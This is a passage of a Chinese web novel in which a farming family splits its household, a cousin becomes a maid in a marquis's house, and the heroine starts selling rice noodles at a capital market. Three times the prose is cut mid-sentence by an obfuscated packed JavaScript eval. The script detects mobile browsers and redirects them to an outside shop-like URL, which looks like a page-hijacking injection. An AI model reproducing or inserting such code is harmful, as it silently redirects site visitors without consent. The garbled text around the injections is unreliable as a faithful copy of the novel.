姜松挥着锄头，往地上一刨，邦硬的土块儿就被翻出来，他放下锄头，弯腰拽着粗布褂子一角擦擦头上的汗，才朝姜然看过去，“我还想多养两头猪。” 姜松道：“小然，你放心，不去也做丫鬟日子也好，等赚了钱，哥先给你买衣裳。” 在姜然心里，第一关姜松已经过了。 她道：“我帮忙，都弄什么？” 姜松：“你回屋歇着去就行了，现在不用干啥。得多买些鸡苗，就算侯府的人不收，也能拿着去京都卖。咱们这是散养吃虫子的，比普通喂米糠菜叶子的好吃。” 姜松心中有打算，又扛起锄头刨地了。 姜然问：“种子在哪里？” 姜松：“桶里呢，我都找好了。” 家里种菜，年年秋收都留种子，可三房就四口人，吃不了太多，照云氏和姜传力的话来说，平日种地收秋就累，种那么多做甚？ 二人老实，看大房他们往侯府搬东西，从未问过。 姜然：“我撒种吧。” 姜松：“现在不成，这块地干，得养两天。” 姜然低头看种子，心里有了主意，拿了一小把回屋，然后从木柜子里翻出团破旧的棉絮。 把棉絮扯平，用水阴湿，然后把种子分开平铺在上面，再把棉絮盖上。 早点种早点赚钱，她也好能早去京城卖吃食。 也不必非等着侯府的人来了，把菜卖给侯府，这些菜她做米线也用得着。 若是姜松能帮忙，她不必太辛苦。 忙活一上午，中午一家人坐下吃饭，姜松没动筷子，“娘，家里还有多少钱都给我。” 云氏惊恐：“你这是要作甚？” 姜松道：“以后家里的事我管，衣食住行人情往来都我管，省着钱再拿去贴补别人。我和姜然才是你们的儿女，你们看到了，别人指望不上，听我的就行。” 二人一贯老实，云氏回屋拿钱，然而拿出来的银子也不多。 昨儿分的加上从前存的，一共就五两银子。 怎么花的何时花的，问了也不知。 姜松把钱攥在手里，手背上青筋根根分明，他道：“明儿我去买鸡苗鸭苗，再买两头小猪。娘你在家喂猪喂鸡，爹，你跟着我翻地种菜。” 云氏和姜传力点点头，二人老实愚孝，但胜在听话。 就算以后刘氏和姜老爷子再想支使占便宜，可分了家，家里姜松做主，没什么大问题的。 姜然看着姜松，决定一会儿再试探一次。 等吃过饭，外头空荡荡的没人，几条大狗也懒懒地躺在地上。 姜松没歇着，顶着太阳去外头翻地。 姜然朝姜松招招手，让他等会儿，自己跑回屋，从屋里拿出了一个银花生。 这一个银花生是二钱重，她递给姜松，“哥，这样是不是就能多买头猪了？” 姜松不由笑道：“你当一头猪仔便宜，要一贯钱呢。” 笑完，姜松又盯着银花生看了半响，这回他脸上的笑意一点不剩，问姜然，“这你哪来的？” 这个是灌铸的花生模样，跟碎银子长得不一样，像是侯府的东西。 姜松怕自家妹妹走歪路。 姜然小声说道：“那日陪四姑娘六姑娘出去捡麦穗，说着说着让我做了一碗米粉给她们吃，我自己琢磨做了，然后就给了这个。” 姜松松了口气，“给你的你就收着，自己藏好了。” 姜然其实也没诚心给，因为她做生意还要本钱呢。 她听话地把钱收好，又状似不经意道：“姑娘们都说好吃，是不是能拿去卖呀？” 姜松听到这话了，人愣住了，拢着眉思索。 姜然：“我说着玩的。” 她没指望他听到这个，就立马准备东西去卖米粉，也没想着他把家里钱给投进去。这么多年，家里总共攒了这么些，一头猪一贯钱，买个两三头，这钱就花得差不多了，还得过日子生活，怎么可能投到姜然随口一说的吃食生意中去。 况且，姜松不一定信了侯府姑娘给赏钱就是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066759|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃食。 但在姜然心里，第二关也过了，做米粉的事，在姜松这儿过了明路，不必再藏着掖着。 姜松是个疼妹妹的，今日他若收了这钱，姜然是一种打算，不收，自然另一种打算。 收钱，不管为了什么，姜然以后做事都得藏几分，不收，就多几分真心。 她从厨房找糖，烧开水给姜松沏了杯糖水，放在阴凉处，这才回屋睡觉。 午睡过后，她再看，糖水已经喝完了，姜松和姜传力一个在翻地，另一个在竖篱笆。翻好的地得竖上篱笆，才知道这是三房的。 都在庄子，三房翻地姜家一众都知道。不过压根没人说什么，种地种菜才赚几个钱，他们从前就种，三房现在才想到这个主意，一家子蠢人。 翻过地之后就得施肥，用的农家肥，一趟趟挑，屋外弥漫着一股难闻的气味。 姜然又给棉絮洒了些水，多弄了几样种子。 等过些日子来场雨又有得忙，麦子收获了，要育稻苗，种稻子。 种麦子的钱还得留着一部分买稻苗呢，怎么看，三房的日子都紧巴巴。 傍晚太阳落山，姜然再出来看，地已经被姜松姜传力翻了许多，这一分，那儿两分，都用篱笆围着。 林氏路过，捂住鼻子道：“你们这把庄子弄成什么样，臭烘烘的。” 姜然继续装傻充愣，“可从前大伯母家弄这个，大伯母也没说臭啊，难不成是那会儿鼻子坏了？” 林氏皱眉离开，心里觉得还是她家杏儿机灵大方，也不知杏儿在侯府怎么样。 姜杏已经到了侯府，开始坐马车新奇，她没坐过马车，只坐过家里的牛车，马车就是不一样。 进了侯府，她就被硕大的侯府惊得嘴都合不拢，地上铺着地砖，干净整洁，不似庄子是泥地，又是四月份，到处都是郁郁葱葱的树、灌木、花草，看得姜杏眼花缭乱目不暇接。 还有丫鬟小厮，好多人，侯府这是有多少人。 她从未见过这等世面，心中忍不住惊叹，这是天上，是仙宫吧？ 这么好的地方，她还欲看得仔细，就被身边丫鬟训斥，“低头走路，目不斜视。这般东张西望，成何体统？别丢了姑娘的脸面。” 姜杏点点头，却不懂她一个丫鬟哪能丢了五姑娘的脸。 紧接着，她被带去了下人房，嬷嬷冷着一张脸，“从今天起，你就是五姑娘院中的人了，先从三等丫鬟做起，先去打扫院子吧。” 姜杏：“我不用去见见姑娘吗？” 嬷嬷道：“姑娘喜静，没事别去打扰。” 姜杏低眉垂眼：“是。” 嬷嬷又道：“进了侯府你的名字不合适了。你从前叫姜杏，以后就叫素星吧。” 素星，很好听。 姜杏点点头，“素星记住了。” 侯府上方的夜空和庄子上方的夜空是一样的。 四月上旬，月亮正等待慢慢变圆，隔壁安静，姜然这一夜也睡得踏实。 次日，姜松给云氏姜传力安排了活，云氏割猪草做猪食，姜传力跟着他出去买猪仔。 姜然给棉布洒了些水，揽了午饭的活。 临近中午姜松二人才回来，带回来了两头小猪，还有一笼鸡苗一笼鸭苗，车上唧唧喳喳哼哼唧唧，热闹得不行。 姜松一边卸货一边和姜然道：“我去街上看了，坊市不少卖吃食的，可以试试。” 5. 第五章 向荣 这些是姜松去城内买鸡苗鸭苗时打听到的，猪崽则是从临近庄子买的，京郊不止他家一个庄户。 姜松道：“有早市晚市，也无宵禁，我看街上卖吃食的挺多的。” 姜然忍不住问：“都卖什么？” 姜松回忆起来，“有北食店、南食店、川饭店，还有卖包子馒头胡饼炊饼的。肉铺挂着鸡、鹅、羊、猪肉。” 姜松想想那些，看都看不过来，“街边摊子上卖白肠、熏肉、灌肺、炒栗子、糖蜜糕各种点心，对了，这个给你，元子甜汤。” 碗装着端回来的，一路回来也没洒，姜松给妹妹带回来的。 这倒是出乎姜然意料，甜汤都有。 看着甜汤，姜然想起昨儿那杯糖水。 她接过来，露出个乖巧的笑，“谢谢哥哥，没有宵禁，那就不惧多晚回来，要是我跟哥哥一块儿去，天黑也不怕。得弄个推车，再弄口锅，还有碗筷。” 姜然一边说，一边看笼子里的喳喳叫小鸡小鸭，毛茸茸一团，让人心情甚好。 姜松点点头，却道：“我看麦子晒得差不多了，等分粮后买完稻苗再说吧。今儿买了猪崽鸡苗，钱不剩多少了。” 两头猪二两银子，鸡苗一只十三文，鸭苗一只十五钱，姜松各买了二十只。 剩下的先买稻种，自己育苗，不够种再直接买稻苗，一会儿他就育苗去。 从云氏那儿拿的钱半天功夫就花了一半，姜松从没花过这么多钱，况且养家畜不一定赚钱。 家畜跟人一样会生病，若中间死了，那就是血本无归，到时还得留钱补上。 姜松看坊市是热闹，可却没想好他们要不要去试试。 在街上走时，感觉做什么都能赚钱。大伯家二哥从前也去京都摆摊卖东西，可几日就不干了。 这么多年三房就靠种地为生，姜松心里没底。 往日刘氏和姜老爷子的话在他耳边响起，“三房也老实，这么下去不成。” “老实，混不开。” “姜松不如他大哥二哥机灵。” 姜松吐出一口浊气。 姜然眉头蹙起，怎么又得等。 姜然道：“哥，我那还有些银子，这两年两天姑娘们赏的，钱不够可以先顶进去。越往后拖天越热，现在还算凉爽，可以先卖着试试。” 摆摊已经是小本生意了。 姜松说买了稻苗之后，那买完就得种，又不知耽误多少天。 前几天姜然可以自己去。 姜松看着妹妹犯愁又跃跃欲试的眼神，劝阻的话说不出来。 姜然贴心道：“若哥不想要我的钱，那就赚了钱分给我就好了，咱们谁都有钱，说不准你还能去读书。” 那日姜松红着眼，拳头紧紧攥着，颈侧的静脉怒张如虬枝，他强忍着没把拳头砸桌子上。 大哥还有五叔读书，成了他的一块心病。人就是这样，不患寡而患不均。 其实姜然也没底，不知道能不能赚钱，她没做过生意，但学过理财。向来赚钱的东西都有风险，高风险高回报，低风险低利润。 姜然道：“不然就先简单弄，推车我看家里有，锅先用家里的就好了，再买些碗，筷子自己做成不，就用竹子削，磨平滑点，也能省点钱。我那些钱就够用，哥，让我去吧，本来我种地也帮不上什么忙。” 她拿钱，赚了也该她说了算， 姜松终是点了点头。 姜然拿了一个银花生出来，让姜松下午去买碗，顺便买些调料，家里酱油醋剩的不多了。 吃过中午饭，家里的事姜松交给了云氏和姜传力，二人一个给鸡鸭喂食喂水，另一个就在宅子后头垒猪圈。 姜传力不爱说话，但石头墙砌得平平整整，泥巴也抹得干净。 姜然回屋给二人倒了碗水，说道：“爹娘，先歇会儿再干吧。” 姜传力头都没抬，“一会儿就整完了。” 宅子后面地方大，按姜松的话把猪圈弄大点，日后钱多了，没准儿再多养几头。 不然猪圈还得拆了重盖。 猪圈地面也重新抹了，上高下低，边上挖了两条沟渠，方便打扫。 猪槽就用石头打的，一个食槽一个水槽。 鸡窝家里有，但现在鸡苗还太小，早晚凉，得放在屋里养。 二人一边干活，不时擦擦头上的汗，姜然看着二人有点心疼又有点无奈。 她索性不看了，把家中的米找出来，自己推着石磨转，磨几遍再过筛，等姜松回来，已经弄了半袋子亮晶晶的米粉了。 姜松回来的时候一家都在忙，心里不是滋味，妹妹还年幼，是他这个当哥的没本事，他压下心底的异色，说道：“买完了，我又看了看麦子，明早就能称重，等忙完了去买稻苗。” 姜然给姜松倒了杯水，出去半天，姜松渴坏了。温凉的水从喉咙滑下来过，甚是舒坦。 姜松还去铁匠铺子问了锅，要打口大锅，得两贯钱，两天就能打好，等赚钱了再打不吃。 碗姜松买了二十只，再不够，可以把用过的碗刷洗干净。 这一趟，又花了不少钱买稻种，只盼着明儿称麦子的时候多分一些。 次日一大早，侯府就来了管事。 麦子不如水稻亩产高，亩产一点二石，租子一半，管事当即就数走了一百六十八石麦子，让小厮搬上车准备运回京都。 剩下的该姜家分了，前院晒麦子的地上站了一群人，谁也没注意到姜蓉偷偷溜了出去。 刘氏摸了把饱满的麦谷，说道：“家里分了家，但是麦子是尚未分家前收的，该怎么分我老婆子听听你们的意思。” 没人说话。 姜老爷子甚是威严地看了眼众人，“都已经分了家，各自做主，想说什么就说什么。” 想说什么就说什么吗？姜然垂下头遮住眼底的异色，刘氏这是既想分家，又想占便宜，自己不好意思说，想晚辈附和应承主动退让。 要是有人说还按原来那样分，怕是当场要应下，否则也不会提麦子是分家前收的了，真是打的好主意。 林氏见众人沉默，说道：“既然这麦子是尚未分家前收的，那就还按以前的分法分吧，一家人和气为重。爹娘跟着大房住，虽然说事事倚仗我们，钱也是我们多拿，可都是做儿女的，总得尽一些心意。” 刘氏脸上闪过满意的神色，姜松捏紧拳头，迟迟不肯放开。 二房、四房的人心有不满，可孝字压着，也不好说什么。 姜然不愿吃亏，说道：“大伯母，那不然咱们还是别分家了。我还是觉得不分家好，等大哥和五叔高中，二姐在侯府得脸，那不要什么有什么？这点孝敬是应当的，我爹我哥多干点有啥的，我们没本事，就指望大哥和五叔呢。” 姜然一副好吃懒做的贪婪模样，看得刘氏林氏一同皱了眉。 姜松目光落在姜然身上，眼里满是心疼，若他有用，何必让妹妹出头。 他松开拳头平视众人说道：“我不愿按原来的分，收麦子的时候干多干少，大家心知肚明，大房是八口人不假，可是女眷不干活，六弟七弟念其年幼，也就干些搬送的活，大哥小叔更是连镰刀都没摸过。从前尚未分家，吃亏也就吃亏了，现在分了家，福享不到，还按人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066760|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头分，我不愿意。” 大房干活出三口人，因为家里有个读书人，干不得，前几年大姐未出嫁，她和姜杏是女子，也干不得。两个弟弟还小，不可能拿镰刀去割麦子。 这三个人还偷奸耍滑，三人干活却分八口人的粮食，再有刘氏老两口和姜传宝的，三房却只能分四口人的粮食。 不仅如此，还得另外掏出一部分贴补两个读书的，那分得就更少了。 姜松道：“孝敬是孝敬，但不能混为一谈，既然分家了，那就分得清清楚楚。” 刘氏和姜老爷子脸色难看，林氏和姜传顺脸色更难看。 二房四房情况比三房好一些，但也差不多。 二房媳妇小林氏打圆场道：“既然都分了家了，的确不该跟从前一样按人头分，就按干活人数分吧，不过也别伤了一家和气。我们没本事，读书上帮不了别的忙，但是一年口粮总出得起。爹娘是长辈，该孝敬孝敬。那就多四口人，其余女眷只管做个饭，孩子们搬搬东西就不算了，这样如何？” 原来大房分七口人的口粮，另加贴补读书的钱，现在少了姜杏和两个小的，只分四口人的。 二房三房四房各三口人，再算着刘氏姜老爷子和姜传宝，总共是十七口人。 该孝敬也孝敬了，该分的也分了，刘氏脸色总归是好看了。 三房原来能分二十四石，现在能分近三十石。他们多分的，是从大房二房四房挖出来的，刘氏三人分的和从前差不多。 照姜然所想，不给刘氏、姜老爷子、姜传宝他们分，是不太可能，但以后各种各的地，各晾各的粮食，就避免了这种情况，都住在一块儿，不好闹太僵。 但临了，姜老爷子还是恨恨地看着江传力，“你还在呢，姜松就翅膀硬了，你这个榆木脑袋！” 姜传力不发一言，垂个脑袋。姜老爷子气急败坏，甩手离去。 姜松拍拍姜然肩膀，“没事了。” 后面怎么种地也是姜松去说的，一共二百八十亩地，看各家能力分，把全部的给种上就是，其余的姜老爷子懒得管。 家里有牛车，可以一块儿用，姜松要了六十亩地。稻苗刘氏只给了些种子，大头得自己买。 这回收来的粮食，一半留在家里吃，剩下的拿去卖钱，差不多能卖十贯钱。 除去买苗的，能剩个两三贯钱就不错了。 不过姜然没觉得这样不好，就算按照以前那样分，买稻苗的钱刘氏肯定也不会多出的。 姜松要忙种地的事，云氏也得种，出去卖东西就落在姜然一人肩上。 要带高汤，带水，带铁锅，还有青菜卤子柴火，而庄子距京都有二十里，让姜然一个十三岁的姑娘推车过去，是万万不成的。 姜然心想，怎么就没给她个力大无穷的金手指呢，不然给个空间，把东西一收，到京城再放过去，也能轻松点。她不挑的，可是什么都没有。 她只能减重，家里炒菜用的铁锅不能省，灶直接搭车上，漏勺两个，搬几斤柴火放上推车，小木桶里放了汤，又带了两个空桶，水到城内再想法子，这样轻便不少， 调料等物少带，米粉也没带那么多，打算能卖几份就卖几份，不成就回来。姜然推推，能推动。 若是能卖出去，她再想法子把车安顿好，就不用日日推过去推回来。 姜松不放心姜然一个人去，“不然让娘跟你一块儿。” 姜然摇摇头，“娘还是留在家种地吧，中午还能做饭。” 姜松又道：“不然问问二房，让姜蓉跟你一块儿去。” 从晒谷场回来，姜然就没有见过姜蓉的。 6. 第六章 去京都 姜蓉冲了壶茶水，然后提壶去到庄子门口。 侯府的小厮们正搬着粮食往车上运，路上停了一辆青葱顶马车，后面数辆推车，这马车是侯府管事出门坐的，不及姑娘们出门坐的马车好，却也是姜家没有的东西。 管事坐在车架上，一身深蓝色的袍子，头戴幞头，略有有几分儒雅气。 姜蓉提了壶过来，又回去拿了趟碗，把碗放在地上倒好水，她端起一碗朝管事走过去，“天热，诸位干活辛苦，陈管事喝些茶水吧。” 姜蓉声音清脆，陈管事循声望了过去，眼前人端了碗茶水，茶水颜色清，也显得眼前姑娘模样青涩。 他把水接过，道了声多谢。 姜容道：“你先忙，等会儿我再过来一趟，把壶和碗拿走。若有用得着我的地方，说一声就是。” 徐管事尝了口茶，一嘴涩味，但在这儿却也能解热消渴。 他冲姜蓉招招手，姜蓉停住道：“可是有事？” 徐管事说道：“那日在马厩是不是你？” 姜蓉低头一笑，说道：“我那日给马儿添了些草料，我们姜家能靠种地为生多亏了侯府，所以就想做些事。” 微风拂过，姜蓉额头的发丝晃了晃。 陈管事不禁一笑，道：“姜家做事尽心，老爷夫人都看在眼里。你是个知道孝顺的，回去吧，这里太阳晒。” 姜蓉小跑着回去吧，这两年，来过庄子的管事不少，但大多三四十岁，都已成亲。陈管事是最年轻的一个，尚未娶亲，是姜蓉在心里选定的人。 姜蓉是有自知之明的，想借侯府的势，府上的少爷那就别想了，她一庄户女，怎么可能攀得上那样的高枝？ 退而求其次，便是府上的管事和账房先生。 这些人多是雇来的，替侯府办事，要么能识字，要么会理账有一技之长，每月月钱不少，比小厮有出路，小厮可是奴籍。 姜蓉也想过府上丫鬟多，管事会不会看不上她，可丫鬟是奴籍，她是良家女子，再表现得大方大度些，这事也不是不能成。 女子都高嫁，不试试怎么知道行不行，陈管事是姜蓉能抓住的最好的了。 嫁过去日子虽不是大富大贵，却肯定吃喝不愁。如果能再往上走一些，自然更好不过。 她才不像姜杏那么傻，费尽心思去侯府姑娘身边做丫鬟，谁知以后出路怎么样。 另一边，姜松问完姜蓉就打住了，没再问四房的妹妹。 四房妹妹鲜少出门，说是怕被太阳晒到，去京都卖东西要走那么远，肯定不干，不必问。 姜然道：“你就放心吧，京都附近出不了事的，若是卖不完，我便回来。如果卖得好，正好打铁锅去，等种完稻子，你就能跟我出去了。” 眼下只能这样了，姜松想抓紧种稻子，回去立马拿钱买苗，姜然还托姜松买肉回来，她要炒肉末。 姜然回去后把明儿出门要用的东西搬上车，然后试着推了推。 东西减了不少，她能推动，就是不知能不能推那么远，累了就歇会儿呗，好歹有辆车呢，总比扛这些东西去轻便。 她又把棉絮翻来，好消息，最先弄得白菜苗已经出芽了。 她不知道现在能不能种，等姜松回来拿去给姜松看。 姜松诧异道：“放在这个上面也能发芽？哪天种的？” 姜然装傻道：“就前两天，我总听你们说育苗，就偷懒找了破棉絮，弄了些水，把种子放上去。” 姜松欣喜地捧着苗芽说道：“我先把这个种上。” 直接撒种怎么也得八九天才能出芽，这个出芽倒是快。 这回姜松买了一半稻苗，一半稻种，六十亩地一时半会儿种不完，正好一边育苗一边种。不下雨也不急，自己灌水就是。 现在可以试试姜然的法子，没准儿更快。 家里地自分家那日姜松就牵牛车犁过，不然等种的时候人多肯定轮不到三房。 今儿放水插秧。 明儿早上他看看白菜苗的长势，若是好，就按姜然的法子来。 日出而作，日落而息。 姜然第二日没等太阳升起就起来了，四月份晨起天还凉呢，她早早起床收拾炒肉末，没想到有人起的比她还早。 云氏正在烧饭，姜传力和姜松已经收拾好了。 这么早？ 其实姜松和姜传力已经插了一会儿秧了，小腿下面全是泥，这会儿回来吃饭。 白菜苗水灵灵长得不错，姜松也找了破棉絮，按照姜然所说，洒上水，把稻种放进去，盖上放在屋中就等发芽。 做完这些，他给妹妹装了些吃的，然后推车送姜然到庄口。 姜松：“一路往东走，城东就有坊市，卖不成就回来。” 他摸摸妹妹的脑袋，“等秋收卖完稻谷，哥肯定有钱给你买新衣裳。” 天色渐渐亮了，姜然推车踏上了小路，她发现车柄把手包了布条，时间长了也不磨手。 她想起姜松的话，可是现在四月份，等秋收还有几个月，若是不想别的出路，那就只能靠种地赚大头，兴许期间能卖些菜，但是鸡鸭还小，猪估计得等到年底才能卖，家里并没有别的来源。 姜松想的是卖不完就回去，可姜然想的却是就算卖不出去，她也得找到卖不出去的原因，想办法改进，直到赚了钱。 姜然脚下踩着云氏做的布鞋，走路声混着车轴吱呦吱呦的声音。 庄子在她身后化作一个黑点，晨起凉，走起路来一点都不冷。 天边慢慢亮起鱼肚白，姜然终于跟一众进城的人踏进了京都。 城外城内是两种景象。 还这么早，姜然估摸着刚到辰时，七八点的样子，街上人就这么多。 往前看屋舍楼宇，分不清是铺子还是百姓住的地方。 和她一样推车，车上放着锅碗的不在少数。 行人走走停停，有的妇人肘间挎了竹篮子，买到自己想要的东西。 有的摊位冒着白烟，传来阵阵香味。 吆喝声砍价声……人声鼎沸。 在庄子住了这么些天，早已习惯一出门就是平坦开阔的田地，见到这些姜然一时之间不太适应。 就好像回到了从前，她赶早市去买一家黑猪肉，人也是这么多。 说是摩肩接踵也不为过。 姜然提了口气，跟着人群往里走，左右都是摊位，根本没空着的地方，这条街可是真是长。 走了一会儿，姜然终于占到了个小空，她冲周围大娘道：“大娘，我打听个事，这儿的摊位怎么算？可用交钱？” 大娘卖的是炊饼，“不必，谁来的早算谁的，咱们这儿很靠后了，没人管。前面的位置还有人抢，后面的随便占。” 姜然把车停下，喘了口气。 然后从车上搬了几块砖下来，先给推车垫平了。 灶台是姜松搭好固定在车上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066761|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就灶台和锅最沉。 她没带水，又问旁边的大娘，“大娘，我头一回来，去哪儿接水呀？” 大娘指着不远处，“那边有井，去那儿接就行。咱们这儿靠后是靠后，但方便接水。” 姜然觉得一切还算顺利，冲大娘笑笑，“我一个人过来的，您能不能帮我看着点车，我去接点水。等回来，您尝尝我的手艺。” 大娘看了眼车，不太在意地摆摆手，“你且去吧，不看着也没事的。” 大娘一副老江湖了然于胸的样子。 街上人多，有卫军看着，就是防止有人趁乱闹事。 前两年偷钱的多，弄得人心惶惶，重罚过几个就不敢再偷了，这一堆东西，最值钱的就是那口锅。 谁会堂而皇之抱锅走。 姜然点点头，依旧不太放心，一边去接水，一边瞧远远瞧着自己的摊位。来回拎了两桶井水过去，她舀了水先把碗冲碗筷冲了冲，这才开始调米浆，烧水，信守承诺给大娘煮了碗拌粉吃。 街上许多卖吃食的，没见过的多了。 大娘伸手接过，没立即吃，而是打听姜然打哪儿来的。 姜然道：“我是从周边村子过来的。” 大娘尝了口粉，眼睛一亮，不由道：“你这味道不错。” 姜然腼腆笑笑，“我娘教的吃食，算不得什么。” 猪油拌粉就是粗犷的香，姜然从前还试过猪油酱油拌饭，味道也不错的。 她做的粉条弄的细嫩滑弹，拌匀后吃着香喷喷的。 街上人多，客人也多，不过她占的位置不好，太靠后了，客人从摊位前面路过，少有几个施舍半个眼神，却也是匆匆看了，匆匆就走。 路人从前头经过，想吃的非常都吃完了。 姜然想，一碗粉占不了肚子，便吆喝起来，“卖粉了，卖粉了，好吃的汤粉和拌粉来尝尝好吃的汤粉拌粉喽。” 大娘性子懒，在这儿卖炊饼，有人买她就做点生意，没人买就算了。 她劝姜然，“这头位置不好，都吃饱了来的，到你这儿哪儿还有肚子。” 姜然又是一笑，“我就试试，兴许有用呢？” 姜然接着吆喝，“卖米粉喽，卖米粉喽，好吃的拌粉和汤粉。” 她附近的摊贩就没有吆喝的，姜然独一个，甚是显眼。 旁边大娘心道，等着瞧吧，白费口舌。 谁知就看见一个人驻足在姜然摊位前，“粉，什么粉？” 姜然道：“汤粉和拌粉，汤粉是酸辣口味的，里面有肉沫，五文钱一碗，拌粉便宜，三文钱一碗。” 一张炊饼还两文钱呢，这拌粉的价钱并不算太贵。 只不过客人吃饱了，就过来问问，问完之后便走了。 大娘道：“我就说吧。” 姜然有些失望，原以为开张了，结果就问问。她深吸一口气，继续吆喝，“卖肉沫汤粉和猪油拌粉，大家快来尝尝！好吃的肉末汤粉和猪油拌粉！” 她声音清亮，又有两人停在摊子面前，他们问什么，姜然都一一解答。 其中一个道：“给我来碗拌粉吧。” 米浆是调好的，舀一勺放进漏勺里，细长的粉丝顺着漏孔滑进锅里，飞快定型煮熟。 煮熟捞出，碗底一勺酱油，些许盐，一块猪油。拌匀之后，粉条泛着淡淡的油光，姜然给递过去，“诚惠三文。” 三个铜板到姜然手里，她开张了。 7. 第七章 归家 这是今天第一个客人。 在这之前姜然心里一直不安，虽然她喜欢吃，侯府四姑娘六姑娘也觉得好吃，可她怕每个人的口味不一样，她已经做好了卖不动回去的准备。 万幸开张了，开张后要考虑的就是别的了，倘若第一个客人说不好，今天生意恐怕做不成了。 姜然想，若是好好询问解释一番，把钱退一半，再想法子改进，绝对不能影响后面的生意。 跟他同来的客人没急着买，而是在一旁看男人吃，似乎是想问问好不好吃后再做决定。 一碗米粉筷子拌拌，端起来沿碗沿嗦，很快就下去了一半。 姜然不知这客人是着急办事还是觉得好吃，吃的时候头也不抬。 他眼睛都在碗里，旁边客人想，如果不好吃，大概吃第一口的时候就皱眉了。 他不等了，对姜然道：“给我来碗肉末汤粉吧。” 姜然：“好嘞，您等会儿。” 汤粉的汤底该用骨汤的，但是姜然没那个空闲，汤就是用海米和香菇干冲泡的。 盛汤的木桶裹了棉被，到这儿汤还温热。 粉煮好盛出来，放一勺肉沫，两勺汤，这便做好了。 客人觉得有些贵，但这碗总归是有肉的，便拿了筷子到一边吃去了。 他等粉的时候，前一个客人已经吃完了，却什么都没说，放下碗就走，也不知他觉得味道如何。 姜然的确希望客人能说好吃，说不错，好吸引更多客人过来，可这个没法强求，没说不好，那就说明粉不错的。 一旁卖炊饼的大娘看得目瞪口呆，还真让这小丫头卖出去了。 才过来就卖出去两份，不过她做的拌粉味道是不差。可这个位置一来就做两单生意，倒叫人眼馋。 姜然没看见大娘神色，而是时刻关注客人反应。 拌粉刚煮出来的，有些烫口，又是酸辣口味，客人吃两口就吸两口气，吃两口就吸两口气。 姜然赶紧从锅里盛了碗煮粉的汤晾着，说道：“一会儿你喝口汤。” 她以前都是给自己做，头一回做生意，就跟淌水过河似的，水深水浅河底有没有石头都得摸索着来。 肉末是一早煮好的，酸辣口味，今天没法调整了。 明日再来，可以把茱萸单独放出来，看个人口味，喜欢多吃辣就多放点，不喜欢吃辣就不放。 客人没抬头，“辣却过瘾，小娘子，你做你的生意，我从这儿吃。” 钱已经给了，姜然不怕他跑了。 摊位旁边有人在吃，问的人也多了，不过大多只是问，就像水鸟在船桅停靠片刻，就振翅离开。 不过姜然已经很满意了，八文钱呢。 一大早起来炒肉末，推车赶路到京都，占位置问路打水，差不多刚收拾好就做成两单生意。 知足常乐，往后肯定越来越好。 卖炊饼的大娘一直盯着，姜然不敢表现的太过高兴。 等第二个客人走了，再没人来，姜然顺势把碗给刷了，又去拎了桶水来。 都过了这么久，卖炊饼的大娘还没开张。 街上卖炊饼的有三四家，大娘位置不好，市场就这么大，想吃的在前面买了，后头看见了也不会停下。 大娘心里不是滋味，对姜然道：“你手艺不错，家里莫不是给哪个大户人家当厨子吧。” 姜然脑子转得快，“没有，我爹娘老实，前两天分了家，我们没分到啥。家里还得租地种，兄长想读书，只能我出来赚钱，但这点钱哪儿够呢？” 姜然说的都是真的，但实际情况比这好，云氏姜传力老实，却也听姜松的话。租地是不假，但庄子大，有六十亩呢。 姜然是一个人来的，可是姜松以后会来帮忙。 大娘松了口气，又觉得姜然可怜了，拿了个炊饼给她，“你吃了不？别为了家里亏了自己。” 姜然愣怔片刻把炊饼接过，心里怀疑是不是自己演过头了。 她不由道：“大娘，街上卖炊饼的多，想赚钱，你可以试试往里加馅料。” 她看见不少卖包子的了，纵然卖包子的也多，但是每个人做的馅儿不一样。 这大娘嘴上说这边人少，摊子没有客人光顾是正常的，可看见姜然开张，心里也着急。 二人一个卖粉，一个卖饼，没有竞争关系。 炊饼就是发面饼上锅蒸熟，可做主食。家里也吃过，像馒头，不过形状不一样。 大可改为烙饼，不管烙发面饼糖饼吃，还是加馅儿弄新吃食，肯定比在这儿卖炊饼强。 大娘神色纠结，眉头拧成了股绳子。 姜然想，以前是做给自己吃，现在不外乎把自己变成了别人。 从前自己想吃什么，都会想方设法琢磨。现在对客人也这般就是了，讨好客人没什么见不得人的。 这样想着，摊子迎来了今日的第三位客人。 这个客人喜辣，吃汤粉的时候一声都没咳，反而觉得不够辣，吃完随口道：“若是再辣点就好了。” 姜然道：“等明儿我带辣油过来，单独放，您明儿再过来吃一次，必然满意。” 一个上午，有七个客人，姜然收了二十七个铜板。 中午客人不少，姜然忙着做生意，一旁大娘又给姜然递了两块炊饼，“小娘子，你吃着。” 姜然：“这怎么好意思。” 